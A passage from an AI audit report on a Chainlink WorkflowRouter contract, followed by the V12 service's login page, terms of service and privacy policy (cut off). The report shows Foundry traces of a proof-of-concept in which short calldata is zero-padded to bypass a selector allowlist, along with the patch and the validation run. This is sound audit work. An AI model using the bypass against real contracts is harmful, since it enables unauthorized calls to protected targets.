[Return] ├─ [0] VM::startPrank(Forwarder: [0xee06bAe0E19135c233A1743967878A56462b9B9B]) │ └─ ← [Return] ├─ [35944] WorkflowRouter::onReport(0x3e97da8d40f0cff77096327bd9f8e86460fda5799d58b3d06c3a421c1ed22862000000000000000000000000000000000000000000000000000000000000, 0x000000000000000000000000e95fefbaa79748b66defb3d662a12541e4d5cdc8000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000031234560000000000000000000000000000000000000000000000000000000000) │ ├─ [22250] SelectorBypassTarget::fallback(0x123456) │ │ └─ ← [Stop] │ └─ ← [Stop] ├─ [332] SelectorBypassTarget::fallbackCalled() [staticcall] │ └─ ← [Return] true ├─ [277] SelectorBypassTarget::allowedCalled() [staticcall] │ └─ ← [Return] false └─ ← [Stop] [PASS] test_baseTest() (gas: 188) Traces: [188] ShortCalldataBypassTest::test_baseTest() └─ ← [Stop] Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 7.68ms (886.37µs CPU time) Ran 1 test suite in 22.04ms (7.68ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)` ### Remediation Enforce a minimum 4-byte calldata length in `onReport` before selector extraction and use existing allowlist errors so short calldata cannot be zero-padded to bypass selector restrictions. patchsrc/WorkflowRouter.sol | | | | | --- | --- | --- | | 101 | 101 | } | | 102 | 102 | | | 103 | 103 | (address target, bytes memory data) = abi.decode(report, (address, bytes)); | | | 104 | if (data.length < 4) { | | | 105 | if (!s\_workflowInfos\[workflowId\].allowlistedTargets.contains(target)) { | | | 106 | revert TargetNotAllowlisted(workflowId, target); | | | 107 | } | | | 108 | revert SelectorNotAllowlisted(workflowId, target, bytes4(0)); | | | 109 | } | | 104 | 110 | bytes4 selector; | | 105 | 111 | | | 106 | 112 | assembly ("memory-safe") { | #### Validation foundry ``No files changed, compilation skipped Ran 2 tests for test/injected/Injected.t.sol:ShortCalldataBypassTest [FAIL: SelectorNotAllowlisted(0x3e97da8d40f0cff77096327bd9f8e86460fda5799d58b3d06c3a421c1ed22862, 0xe95fEFbaa79748B66DEfb3D662A12541e4d5Cdc8, 0x00000000)] test_ShortCalldataBypassesSelectorAllowlist() (gas: 22869) Traces: [324468] ShortCalldataBypassTest::setUp() ├─ [50299] → new SelectorBypassTarget@0xe95fEFbaa79748B66DEfb3D662A12541e4d5Cdc8 │ └─ ← [Return] 251 bytes of code ├─ [0] VM::stopPrank() │ └─ ← [Return] ├─ [0] VM::startPrank(Owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266]) │ └─ ← [Return] ├─ [209229] WorkflowRouter::applyAllowlistedWorkflowsUpdates([], [AllowlistedWorkflow({ workflowId: 0x3e97da8d40f0cff77096327bd9f8e86460fda5799d58b3d06c3a421c1ed22862, targetSelectors: [TargetSelectors({ target: 0xe95fEFbaa79748B66DEfb3D662A12541e4d5Cdc8, selectors: [0x12345600] })] })]) │ ├─ emit SelectorAllowlisted(workflowId: 0x3e97da8d40f0cff77096327bd9f8e86460fda5799d58b3d06c3a421c1ed22862, target: SelectorBypassTarget: [0xe95fEFbaa79748B66DEfb3D662A12541e4d5Cdc8], selector: 0x12345600) │ └─ ← [Stop] └─ ← [Stop] [22869] ShortCalldataBypassTest::test_ShortCalldataBypassesSelectorAllowlist() ├─ [0] VM::stopPrank() │ └─ ← [Return] ├─ [0] VM::startPrank(Forwarder: [0xee06bAe0E19135c233A1743967878A56462b9B9B]) │ └─ ← [Return] ├─ [10761] WorkflowRouter::onReport(0x3e97da8d40f0cff77096327bd9f8e86460fda5799d58b3d06c3a421c1ed22862000000000000000000000000000000000000000000000000000000000000, 0x000000000000000000000000e95fefbaa79748b66defb3d662a12541e4d5cdc8000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000031234560000000000000000000000000000000000000000000000000000000000) │ └─ ← [Revert] SelectorNotAllowlisted(0x3e97da8d40f0cff77096327bd9f8e86460fda5799d58b3d06c3a421c1ed22862, 0xe95fEFbaa79748B66DEfb3D662A12541e4d5Cdc8, 0x00000000) └─ ← [Revert] SelectorNotAllowlisted(0x3e97da8d40f0cff77096327bd9f8e86460fda5799d58b3d06c3a421c1ed22862, 0xe95fEFbaa79748B66DEfb3D662A12541e4d5Cdc8, 0x00000000) Backtrace: at WorkflowRouter.onReport at ShortCalldataBypassTest.test_ShortCalldataBypassesSelectorAllowlist [PASS] test_baseTest() (gas: 188) Traces: [188] ShortCalldataBypassTest::test_baseTest() └─ ← [Stop] Suite result: FAILED. 1 passed; 1 failed; 0 skipped; finished in 7.78ms (611.49µs CPU time) Ran 1 test suite in 25.20ms (7.78ms CPU time): 1 tests passed, 1 failed, 0 skipped (2 total tests) Failing tests: Encountered 1 failing test in test/injected/Injected.t.sol:ShortCalldataBypassTest [FAIL: SelectorNotAllowlisted(0x3e97da8d40f0cff77096327bd9f8e86460fda5799d58b3d06c3a421c1ed22862, 0xe95fEFbaa79748B66DEfb3D662A12541e4d5Cdc8, 0x00000000)] test_ShortCalldataBypassesSelectorAllowlist() (gas: 22869) Encountered a total of 1 failing tests, 1 tests succeeded Tip: Run `forge test --rerun` to retry only the 1 failed test`` [Disclaimer](https://v12.sh/runs/1378/public#disclaimer) ========================================================= This assessment does not provide any warranties about finding all possible issues within its scope; in other words, the evaluation results do not guarantee the absence of any subsequent issues. Zellic AI, of course, also cannot make guarantees about any code added to the project after the version reviewed during our assessment. Furthermore, because a single assessment can never be considered comprehensive, we always recommend multiple independent assessments paired with a bug bounty program. For each finding, we provide a recommended solution. All code samples are intended to convey how an issue may be resolved (i.e., the idea), but they may not be functional or safe changes. These recommendations are not exhaustive, and we encourage our partners to consider them as a starting point for further discussion. Finally, the contents of this assessment report are for informational purposes only; do not construe any information in this report as legal, tax, investment, or financial advice. Nothing contained in this report constitutes a solicitation or endorsement of a project by Zellic AI. V12 - C4-2026-03-chainlink --- # Login | V12 Audit Smarter with AI Identify vulnerabilities in smart contracts, fast and easy. Continue with Google Use email & password By accessing V12, you agree to our [Terms of Service](https://v12.sh/terms-of-service) and [Privacy Policy.](https://v12.sh/privacy-policy) Login | V12 --- # Terms of Service | V12 TERMS OF SERVICE ================ ### Effective Date: September 10, 2025 1\. Acceptance of Terms ----------------------- These Terms of Service (“Terms”) constitute a legal agreement between you and Verabit Labs Ltd, a Delaware corporation (“Company,” “we,” “us,” or “our”) governing your access to and use of our AI-powered code vulnerability scanning service and any related services, software, or applications (collectively, the "Service"). By accessing, browsing, or using our Service, you acknowledge that you have read, understood, and agree to be bound by these Terms and our Privacy Policy, which is incorporated herein by reference. 2\. Description of Service -------------------------- Our Service provides automated security vulnerability scanning and analysis of source code repositories using artificial intelligence and machine learning technologies. The Service is designed to identify potential security vulnerabilities, coding errors, and other issues within software code and provide recommendations for remediation. 3\. Eligibility and Account Registration ---------------------------------------- ### 3.1 Eligibility Requirements To use our Service, you must be at least 18 years of age and have the legal capacity to enter into binding agreements. You represent and warrant that you are not subject to economic sanctions, trade restrictions, or export controls imposed by the United States government or any other applicable jurisdiction. You further represent that your use of the Service will not violate any applicable laws or regulations. ### 3.2 Account Creation and Authentication Account registration requires authentication through Google OAuth. By connecting your Google account, you authorize us to access your email address and other profile information made available through the Google authentication process. You are responsible for maintaining the confidentiality of your account credentials and for all activities that occur under your account. ### 3.3 Accuracy of Information You agree to provide accurate, current, and complete information during account registration and to promptly update such information to maintain its accuracy. You are solely responsible for any consequences arising from the provision of inaccurate or outdated information. 4\. Acceptable Use Policy ------------------------- ### 4.1 Permitted Uses You may use our Service solely for the purpose of scanning and analyzing source code repositories that you own or have explicit authorization to access and analyze. You may use the results of such scans to improve the security and quality of your software code. ### 4.2 Prohibited Uses You agree not to use our Service for any purpose that is unlawful or prohibited by these Terms. Specifically, you agree not to: **Illegal Activities.** Use the Service for any illegal purpose or in violation of any applicable local, state, national, or international law or regulation. **Unauthorized Access.** Attempt to gain unauthorized access to any portion of the Service, other users’ accounts, or any systems or networks connected to the Service through hacking, password mining, or any other means. **Malicious Activities.** Use the Service to develop, distribute, or facilitate malware, viruses, or other malicious code, or to conduct any form of cyber attack or security breach against any system, network, or third party. **Intellectual Property Violations.** Scan or analyze code that you do not own or lack proper authorization to access, or use the Service in a manner that infringes upon the intellectual property rights of others. **Confidentiality Breaches.** Use the Service to scan code in violation of any confidentiality agreement, non-disclosure agreement, or other contractual obligation. **Competitive Activities.** Reverse engineer, decompile, disassemble, or otherwise attempt to derive the source code or underlying algorithms of our Service, or use the Service to develop competing products or services. **Service Abuse.** Engage in any activity that interferes with or disrupts the Service or servers and networks connected to the Service, including but not limited to denial-of-service attacks or excessive automated requests. **Account Sharing.** Share your account credentials with any third party or allow any third party to access your account. **Multiple Accounts.** Create, maintain, or use more than one account per individual or entity without our prior written consent. If we determine, in our sole discretion, that multiple accounts are held by the same individual or entity, we may suspend or terminate all such accounts and forfeit any remaining credits associated with them. 5\. Code Repository Access and Processing ----------------------------------------- ### 5.1 Repository Connection and Authorization When you connect GitHub repositories to our Service, you grant us permission to access, download, and process the complete contents of such repositories. You represent and warrant that you have the necessary rights and authority to grant such access and that such access does not violate any third-party rights or agreements. ### 5.2 Third-Party AI Processing **Consent to Third-Party Processing.** You acknowledge and consent that your source code and repository data will be transmitted to and processed by third-party artificial intelligence service providers, including but not limited to OpenAI, Inc., Anthropic, Inc., and other large language model providers. This processing is necessary for our Service to perform vulnerability analysis. **Third-Party Risks.** You acknowledge and accept the risks associated with third-party processing of your code, including but not limited to potential data breaches, unauthorized access, or misuse by such third parties. We are not responsible for the security practices or data handling of these third-party providers. ### 5.3 Code Ownership and Licensing You retain all right, title, and interest in your source code. By using our Service, you grant us a non-exclusive, worldwide, royalty-free license to access, use, copy, and process your code solely for the purpose of providing the Service to you. 6\. Payment Terms and Credit System ----------------------------------- ### 6.1 Credit-Based Billing Model Our Service operates on a prepaid credit system. You must purchase credits in advance to use the Service. Credits are consumed based on your usage of the Service, including but not limited to the number of scans performed, the amount of code analyzed, and other Service features utilized. ### 6.2 Payment Processing All payments are processed through Stripe, Inc., a third-party payment processor. You agree to provide accurate and complete billing information and to promptly update such information if it changes. You authorize us to charge your designated payment method for all fees incurred in connection with your use of the Service. ### 6.3 No Refunds Policy **All purchases of credits are final and non-refundable.** We do not provide refunds, credits, or other compensation for any reason, including but not limited to account termination, Service discontinuation, dissatisfaction with Service results, or unused credits. Credits are not redeemable for cash and have no monetary value outside of our Service. ### 6.4 Credit Expiration and Usage Credits do not expire but may only be used within our Service. Credits are non-transferable and may not be sold, traded, or otherwise transferred to third parties. ### 6.5 Pricing Changes We reserve the right to modify our pricing structure, credit costs, and fee schedules at any time in our sole discretion. Pricing changes will apply to future credit purchases and will not affect credits already purchased. 7\. Account Termination and Suspension -------------------------------------- ### 7.1 Termination by Company We reserve the right, in our sole discretion, to suspend, disable, or terminate your account and access to the Service at any time, for any reason or no reason, with or without notice. Circumstances that may result in account termination include but are not limited to violation of these Terms, suspected fraudulent or abusive activity, prolonged inactivity, or our determination that continued provision of Service is not in our business interests. ### 7.2 Immediate Suspension We may immediately suspend your access to the Service without prior notice if we believe, in our sole discretion, that you have violated these Terms or that your continued use of the Service poses a risk to us, other users, or third parties. ### 7.3 Effect of Termination Upon termination of your account, you will immediately lose access to the Service and all associated data, including scan results and account information. You will not receive any refund of unused credits or prepaid fees. We reserve the right to delete your account data at our discretion, but we are under no obligation to do so and may retain your data indefinitely as described in our Privacy Policy. ### 7.4 Survival Sections relating to payment obligations, intellectual property, disclaimers, limitations of liability, and other provisions that by their nature should survive termination will continue in effect after termination of these Terms. 8\. Intellectual Property Rights -------------------------------- ### 8.1 Service Ownership The Service, including all software, algorithms, methodologies, user interfaces, and related technology, is and remains our exclusive property or the property of our licensors. Nothing in these Terms grants you any right, title, or interest in our intellectual property except for the limited license to use the Service as expressly permitted herein. ### 8.2 Scan Results and Analysis While you retain ownership of your source code, the vulnerability scan results, analysis reports, and recommendations generated by our Service are our proprietary work product. You are granted a limited, non-exclusive license to use such results solely for your internal security and development purposes. ### 8.3 Feedback and Suggestions If you provide us with any feedback, suggestions, or ideas regarding our Service, you grant us a perpetual, irrevocable, worldwide, royalty-free license to use, modify, and incorporate such feedback into our Service without any obligation to you. 9\. Disclaimers and Limitations of Liability -------------------------------------------- ### 9.1 Service Disclaimers **“AS IS” BASIS.** THE SERVICE IS PROVIDED ON AN "AS IS" AND "AS AVAILABLE" BASIS WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, OR COURSE OF PERFORMANCE. **No Availability Guarantee.** We do not warrant that the Service will be uninterrupted, error-free, or completely secure. We may modify, suspend, or discontinue the Service at any time without notice. **Scan Result Accuracy.** We make no representations or warranties regarding the accuracy, completeness, or reliability of vulnerability scan results. Scan results may contain false positives, may fail to identify actual vulnerabilities, and should not be relied upon as the sole method of security assessment. ### 9.2 Limitation of Liability **MAXIMUM LIABILITY.** IN NO EVENT SHALL OUR TOTAL LIABILITY TO YOU FOR ALL CLAIMS ARISING OUT OF OR RELATING TO THESE TERMS OR THE SERVICE EXCEED THE TOTAL AMOUNT YOU PAID TO US IN THE TWELVE (12) MONTHS PRECEDING THE EVENT GIVING RISE TO THE CLAIM. **EXCLUDED DAMAGES.** IN NO EVENT SHALL WE BE LIABLE FOR ANY INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, OR PUNITIVE DAMAGES, INCLUDING BUT NOT LIMITED TO LOSS OF PROFITS, DATA, USE, GOODWILL, OR OTHER INTANGIBLE LOSSES, REGARDLESS OF WHETHER WE HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. **Third-Party Services.** We are not responsible for any damages or losses arising from your use of or reliance on third-party services, including AI service providers and payment processors. ### 9.3 Security and Data Risks You acknowledge and accept the inherent risks associated with cloud-based services and internet-based data transmission, including but not limited to the risk of unauthorized access, data breaches, or data loss. We implement reasonable security measures but cannot guarantee absolute security. 10\. Indemnification -------------------- You agree to indemnify, defend, and hold harmless Company and its officers, directors, employees, agents, and representatives from and against any and all claims, damages, losses, costs, and expenses (including reasonable attorneys' fees) arising out of or relating to your use of the Service, your violation of these Terms, your violation of any third-party rights, or any content you submit through the Service. 11\. Compliance and Legal Requirements -------------------------------------- ### 11.1 Sanctions and Export Controls You represent and warrant that you are not located in, organized under the laws of, or ordinarily resident in any country or territory subject to comprehensive economic sanctions by the United States, and that you are not identified on any U.S. government list of prohibited or restricted parties. ### 11.2 Applicable Law and Jurisdiction These Terms shall be governed by and construed in accordance with the laws of New York, without regard to its conflict of law principles. Any disputes arising under these Terms shall be subject to the exclusive jurisdiction of the courts located in New York County, New York. ### 11.3 Compliance with Laws You agree to comply with all applicable federal, state, local, and international laws and regulations in connection with your use of the Service. 12\. General Provisions ----------------------- ### 12.1 Entire Agreement These Terms, together with our Privacy Policy, constitute the entire agreement between you and us regarding the Service and supersede all prior or contemporaneous communications and proposals between the parties. ### 12.2 Amendments We reserve the right to modify these Terms at any time by posting the revised Terms on our website. Your continued use of the Service after such posting constitutes your acceptance of the modified Terms. ### 12.3 Severability If any provision of these Terms is found to be unenforceable or invalid, that provision will be limited or eliminated to the minimum extent necessary so that the remaining Terms will remain in full force and effect. ### 12.4 Waiver Our failure to enforce any right or provision of these Terms will not constitute a waiver of such right or provision unless acknowledged and agreed to by us in writing. ### 12.5 Assignment You may not assign or transfer these Terms or your rights hereunder without our prior written consent. We may assign these Terms without restriction. 13\. Contact Information ------------------------ If you have any questions about these Terms, please contact us at legal@zellic.io. Terms of Service | V12 --- # Privacy Policy | V12 PRIVACY POLICY ============== ### Effective Date: September 10, 2025 1\. INTRODUCTION AND SCOPE -------------------------- This Privacy Policy (“Policy”) describes the information practices of Verabit Labs Ltd, a Delaware Corporation (“Company,” “we,” “us,” or “our”), in connection with our AI-powered code vulnerability scanning service and any related services, software, applications, or platforms (collectively, the “Service”). This Policy applies to all information collected by the Company through the Service, including information collected from users who access, browse, or use the Service in any manner. By accessing, browsing, or using our Service, you acknowledge that you have read, understood, and agree to be bound by this Privacy Policy. This Privacy Policy is incorporated into and forms an integral part of our Terms of Service. If you do not agree with the practices described in this Privacy Policy, you should not access or use our Service. The Company reserves the right to modify, update, or amend this Privacy Policy at any time and in our sole discretion. Any changes to this Privacy Policy will become effective immediately upon posting the revised Policy on our website or platform. Your continued use of the Service following the posting of any changes constitutes your acceptance of such changes. 2\. DEFINITIONS --------------- For purposes of this Privacy Policy, the following definitions apply: “Personal Information” means any information that identifies, relates to, describes, references, is reasonably capable of being associated with, or could reasonably be linked, directly or indirectly, with a particular individual or household. “Processing” means any operation or set of operations performed on Personal Information or sets of Personal Information, whether or not by automated means, such as collection, recording, organization, structuring, storage, adaptation, alteration, retrieval, consultation, use, disclosure, dissemination, or destruction. “Repository Data” means all data, information, source code, files, metadata, and other content contained within or associated with software repositories connected to our Service. “Third-Party Service Providers” means external companies, organizations, or service providers that process information on our behalf or provide services integral to the operation of our Service. 3\. CATEGORIES OF INFORMATION COLLECTED --------------------------------------- ### 3.1 Account and Authentication Information When you create an account with our Service through Google OAuth authentication, we collect and process the following categories of information: **Google Account Information:** Your email address, Google account identifier, profile name, and any other profile information made available through the Google OAuth authentication process that you have authorized us to access. **Github Account Information:** Your Github account identifier, profile name, and any other profile information made available through the Github OAuth authentication process that you have authorized us to access. **Account Management Data:** Account creation date and time, last login date and time, account status, authentication tokens and refresh tokens, and account preference settings. **Authentication Logs:** Records of login attempts, successful authentications, authentication failures, and security-related events associated with your account access. ### 3.2 Payment and Billing Information In connection with our credit-based billing system and payment processing through Stripe, Inc., we collect and process: **Billing Contact Information:** Full legal name, billing address, email address for billing communications, and any other contact information you provide for billing purposes. **Payment Method Information:** While we do not directly store payment card information, we receive and store payment method identifiers, payment status information, and transaction confirmations from our payment processor, Stripe, Inc. **Transaction Records:** Complete transaction history including credit purchases, credit consumption, payment amounts, transaction dates and times, payment method used, and any refund or chargeback information. **Tax and Accounting Information:** Information necessary for tax reporting and compliance, including tax identification numbers where applicable and required by law. ### 3.3 Source Code and Repository Information When you authorize our Service to access your GitHub repositories or other code repositories, we collect, download, and process: **Complete Repository Contents:** All source code files, documentation files, configuration files, and any other files contained within the authorized repositories, regardless of file type or format. **Repository Metadata:** Repository names, descriptions, creation dates, modification dates, commit history and metadata, branch information, contributor information, file and directory structures, and repository settings. **Version Control Information:** Git history, commit messages, author information, timestamps, merge information, and any other version control system data associated with the repositories. **Dependency and Configuration Data:** Package manager files, dependency declarations, build configuration files, deployment scripts, environment configuration files, and any other technical configuration information. ### 3.4 Technical and Usage Information We automatically collect certain technical and usage information when you access or use our Service: **Device and Browser Information:** Internet Protocol (IP) addresses, browser type and version, operating system and version, device type and model, screen resolution, and other device characteristics. **Usage Analytics:** Pages visited, features used, time spent on different sections of the Service, click-through rates, user interface interactions, and navigation patterns. **Performance Data:** Service response times, error rates, system performance metrics, API usage statistics, and technical diagnostic information. **Communication Logs:** Records of communications between you and our Service, including support tickets, feedback submissions, and other user-initiated communications. ### 3.5 Scan Results and Analytical Data Through our vulnerability scanning and analysis processes, we generate and store: **Vulnerability Scan Results:** Detailed reports identifying potential security vulnerabilities, coding errors, compliance issues, and other technical findings within your source code. **Risk Assessments:** Security risk ratings, vulnerability severity classifications, impact assessments, and prioritization recommendations. **Historical Analysis Data:** Trends in vulnerability detection over time, remediation tracking, comparative analysis between different scans, and progress monitoring information. **Aggregate Statistical Data:** Anonymized and aggregated data derived from scan results for the purpose of improving our Service and developing industry insights. 4\. METHODS OF INFORMATION COLLECTION ------------------------------------- ### 4.1 Direct Collection We collect information directly from you when you: * Create an account and authenticate through Google OAuth * Connect repositories to our Service * Purchase credits or make payments * Communicate with our support team * Provide feedback or participate in surveys * Configure account settings or preferences ### 4.2 Automatic Collection We automatically collect information through: * Cookies, web beacons, and similar tracking technologies * Server logs and analytics tools * Application programming interface (API) interactions * System monitoring and performance tools ### 4.3 Third-Party Collection We may receive information about you from: * Google through the OAuth authentication process * Stripe in connection with payment processing * GitHub or other repository hosting services * Third-party AI service providers in connection with code analysis 5\. PURPOSES FOR INFORMATION PROCESSING --------------------------------------- ### 5.1 Primary Service Provision We process your information for the following primary purposes related to providing our Service: **Vulnerability Scanning and Analysis:** Processing your source code through artificial intelligence and machine learning algorithms to identify potential security vulnerabilities, coding errors, compliance issues, and other technical problems. **Report Generation:** Creating detailed vulnerability reports, risk assessments, remediation recommendations, and other analytical outputs based on our scanning and analysis of your source code. **Account Management:** Creating, maintaining, and managing your user account, including authentication, authorization, and account security measures. **Payment Processing:** Managing your credit balance, processing payments, maintaining billing records, and handling any payment-related issues or disputes. ### 5.2 Service Improvement and Development We process your information to improve and develop our Service, including: **Algorithm Enhancement:** Using scan results and user feedback to improve the accuracy, efficiency, and effectiveness of our vulnerability detection algorithms and AI models. **Feature Development:** Analyzing usage patterns and user needs to develop new features, capabilities, and improvements to our Service. **Performance Optimization:** Monitoring and analyzing Service performance to identify and resolve technical issues, optimize system performance, and enhance user experience. **Quality Assurance:** Testing and validating our Service functionality, accuracy of scan results, and overall Service quality. ### 5.3 Business Operations and Administration We process your information for legitimate business operations, including: **Customer Support:** Providing technical support, responding to inquiries, resolving issues, and maintaining customer relationships. **Security and Fraud Prevention:** Detecting, preventing, and responding to security threats, fraudulent activities, abuse of our Service, and violations of our Terms of Service. **Legal Compliance:** Complying with applicable laws, regulations, legal processes, and governmental requests. **Business Analytics:** Analyzing business performance, user engagement, market trends, and other business intelligence to inform strategic decision-making. ### 5.4 Communication and Marketing We may process your information to: * Send service-related notifications and updates * Provide customer support communications * Send billing and payment-related communications * Communicate about changes to our Service or policies 6\. INFORMATION SHARING AND DISCLOSURE -------------------------------------- ### 6.1 Third-Party Artificial Intelligence Service Providers **Mandatory Processing Disclosure:** You acknowledge and expressly consent that your source code, repository data, and related information will be transmitted to, processed by, and potentially stored by third-party artificial intelligence service providers. This processing is essential for our Service to perform vulnerability analysis and is conducted pursuant to the following terms: **Identified Third-Party AI Providers:** Your information will be processed by artificial intelligence service providers including, but not limited to: * OpenAI, Inc. and its language models and AI services * Anthropic, Inc. and its AI systems and services * Google LLC and its AI and machine learning services * Microsoft Corporation and its AI services (including those provided through Azure) * Other large language model providers and AI service companies that we may engage from time to time **Scope of Third-Party Processing:** Third-party AI service providers may process your complete source code, repository metadata, file contents, and any other information necessary for vulnerability analysis and report generation. **Third-Party Data Handling:** Each third-party AI service provider operates under its own privacy policy, terms of service, and data handling practices. We do not control and are not responsible for the data handling practices, security measures, data retention policies, or privacy practices of these third-party providers. **Inherent Risks Acknowledgment:** You acknowledge and accept the inherent risks associated with third-party processing of your source code and sensitive information, including but not limited to: * Potential unauthorized access to or disclosure of your source code * Data breaches or security incidents at third-party providers * Misuse or unauthorized use of your information by third parties * Retention of your information by third-party providers beyond our control * Processing of your information in jurisdictions with different privacy laws ### 6.2 Payment Processing Service Provider **Stripe Payment Processing:** All payment processing is conducted by Stripe, Inc., a third-party payment processing service provider. Stripe processes your payment information, billing details, and transaction data in accordance with its own privacy policy and terms of service. We receive confirmation of payments and limited transaction information from Stripe but do not directly handle or store your complete payment card information. ### 6.3 Legal and Regulatory Disclosure We may disclose your information when we believe in good faith that disclosure is necessary or appropriate for any of the following purposes: **Legal Compliance:** Comply with applicable laws, regulations, legal processes, or governmental requests, including but not limited to responding to subpoenas, court orders, or other legal demands. **Rights Protection:** Protect and defend our rights, property, interests, or safety, including enforcement of our Terms of Service and other agreements. **Safety and Security:** Protect the safety, security, rights, property, or interests of our users, third parties, or the general public. **Legal Proceedings:** Participate in legal proceedings, investigations, or regulatory inquiries where disclosure of information is required or appropriate. ### 6.4 Business Transfers and Corporate Transactions In the event of any merger, acquisition, consolidation, sale of assets, bankruptcy, reorganization, or other corporate transaction involving the Company, your information may be transferred, sold, or assigned to the acquiring entity or successor organization. You will be notified of any such transfer through prominent notice on our Service or by email. ### 6.5 Service Providers and Business Partners We may share your information with trusted service providers, contractors, and business partners who assist us in operating our Service, conducting our business, or providing services to you, provided that such parties agree to keep your information confidential and use it only for the specified purposes. ### 6.6 Aggregated and De-Identified Information We may share aggregated, anonymized, or de-identified information that cannot reasonably be used to identify you or any individual for research, analytics, marketing, or other business purposes. 7\. DATA RETENTION POLICIES --------------------------- ### 7.1 Indefinite Retention Rights **General Retention Policy:** The Company reserves the right to retain all information collected through our Service indefinitely and for any lawful purpose. This includes, but is not limited to: **Account Information:** We may retain your account information, authentication data, and profile information indefinitely, even after account termination or Service discontinuation. **Source Code and Repository Data:** We may retain complete copies of your source code, repository contents, metadata, and related information indefinitely, regardless of whether you disconnect repositories from our Service or terminate your account. **Scan Results and Analysis:** We may retain all vulnerability scan results, analysis reports, risk assessments, and related analytical data indefinitely for business, research, and Service improvement purposes. **Transaction and Billing Records:** We may retain all payment, billing, and transaction information indefinitely for accounting, tax, legal compliance, and business record purposes. **Technical and Usage Data:** We may retain all technical logs, usage analytics, performance data, and system information indefinitely for business operations and Service improvement. ### 7.2 Retention Justifications Our retention of information serves the following legitimate business purposes: * Maintaining historical records for business continuity and analysis * Complying with legal, regulatory, and tax obligations * Defending against legal claims or potential litigation * Improving our Service through historical data analysis * Conducting research and development activities * Maintaining audit trails and business records ### 7.3 Data Deletion Discretion While we reserve the right to retain information indefinitely, we may, in our sole discretion and without any obligation, delete or anonymize information at any time. However, you should not rely on our voluntary deletion of information and should assume that any information provided to us may be retained indefinitely. ### 7.4 Post-Termination Retention Even after your account is terminated, suspended, or deactivated, whether voluntarily or involuntarily, we may continue to retain and use your information as described in this Privacy Policy. Account termination does not result in automatic deletion of your information. 8\. DATA SECURITY MEASURES -------------------------- ### 8.1 Security Implementation We implement reasonable technical, administrative, and physical security measures designed to protect your information against unauthorized access, alteration, disclosure, or destruction. These measures include, but are not limited to: **Technical Safeguards:** Encryption of data in transit and at rest, secure authentication protocols, access controls and authorization systems, network security measures, and regular security monitoring and logging. **Administrative Safeguards:** Employee training on data protection and privacy practices, access controls limiting employee access to information on a need-to-know basis, background checks for personnel with access to sensitive information, and incident response procedures. **Physical Safeguards:** Secure data centers with controlled access, environmental controls, and monitoring systems to protect physical infrastructure and equipment. ### 8.2 Security Limitations and Risk Acknowledgment **No Absolute Security Guarantee:** Despite our security measures, no method of transmission over the internet or method of electronic storage is completely secure. We cannot guarantee absolute security of your information, and you acknowledge and accept this inherent limitation. **Inherent Risks:** You acknowledge and accept the following inherent security risks: * Potential unauthorized access despite security measures * Risk of data breaches or security incidents * Vulnerabilities in third-party services and infrastructure * Risks associated with internet-based data transmission * Potential for human error or system failures ### 8.3 Security Incident Response In the event of a security incident involving your information, we will take appropriate measures to investigate and respond to the incident, which may include notifying affected users and relevant authorities as required by law. 9\. INTERNATIONAL DATA TRANSFERS -------------------------------- ### 9.1 Cross-Border Data Processing Your information may be transferred to, processed in, and stored in countries other than your country of residence, including countries that may have different data protection laws than your jurisdiction. This includes transfers to: * Countries where our servers, data centers, or infrastructure are located * Countries where our third-party service providers operate * Countries where our AI service providers process information ### 9.2 Transfer Safeguards When we transfer your information internationally, we endeavor to implement appropriate safeguards to protect your information, which may include contractual protections, adequacy decisions, or other lawful transfer mechanisms. 10\. YOUR RIGHTS AND CHOICES ---------------------------- ### 10.1 Access and Portability Rights **Information Access:** You may request access to certain Personal Information we maintain about you, subject to legal limitations and verification requirements. **Data Portability:** You may request a copy of certain information in a portable format, though this right may be limited by technical feasibility and legal restrictions. ### 10.2 Correction and Update Rights You may request correction or updating of certain Personal Information we maintain about you. However, we reserve the right to verify the accuracy of requested changes and may decline to make changes that could compromise data integrity or legal compliance. ### 10.3 Deletion and Erasure Requests You may request deletion of certain Personal Information, though such requests are subject to our retention policies described in Section 7 and legal or business requirements that may necessitate continued retention. ### 10.4 Communication Preferences You may opt out of certain promotional or marketing communications, though you will continue to receive service-related communications that are necessary for account management and Service provision. ### 10.5 Rights Limitations Your rights are subject to certain limitations, including: * Legal or regulatory requirements that mandate information retention * Legitimate business interests in retaining information * Technical limitations on data modification or deletion * Need to verify your identity before processing rights requests 11\. CALIFORNIA PRIVACY RIGHTS ------------------------------ ### 11.1 California Consumer Privacy Act (CCPA) Rights If you are a California resident, you may have the following rights under the California Consumer Privacy Act: **Right to Know:** You have the right to request information about the categories and specific pieces of Personal Information we have collected about you, the categories of sources from which we collected the Personal Information, the business or commercial purpose for collecting the Personal Information, and the categories of third parties with whom we share Personal Information. **Right to Delete:** You have the right to request deletion of Personal Information we have collected about you, subject to certain exceptions and our retention policies. **Right to Opt-Out:** You have the right to opt-out of the sale of your Personal Information. However, we do not sell Personal Information as defined by the CCPA. **Right to Non-Discrimination:** You have the right not to receive discriminatory treatment for exercising your privacy rights. ### 11.2 Exercising California Rights To exercise your CCPA rights, please contact us using the information provided in Section 14. We will verify your identity before processing your request and respond within the timeframes required by law. ### 11.3 CCPA Disclosures In the preceding 12 months, we have collected the categories of Personal Information described in Section 3 of this Privacy Policy. We have disclosed Personal Information to the categories of third parties described in Section 6 for business purposes. 12\. CHILDREN'S PRIVACY ----------------------- ### 12.1 Age Restrictions Our Service is not intended for, designed for, or directed to individuals under the age of 18. We do not knowingly collect, process, or solicit Personal Information from individuals under 18 years of age. Our Terms of Service require users to be at least 18 years of age to use our Service. ### 12.2 Parental Notice and Consent If we become aware that we have collected Personal Information from an individual under 18 years of age without proper parental consent, we will take appropriate steps to delete such information promptly. Parents or legal guardians who believe we may have collected information from their child should contact us immediately. 13\. POLICY UPDATES AND MODIFICATIONS ------------------------------------- ### 13.1 Right to Modify We reserve the right to modify, update, amend, or replace this Privacy 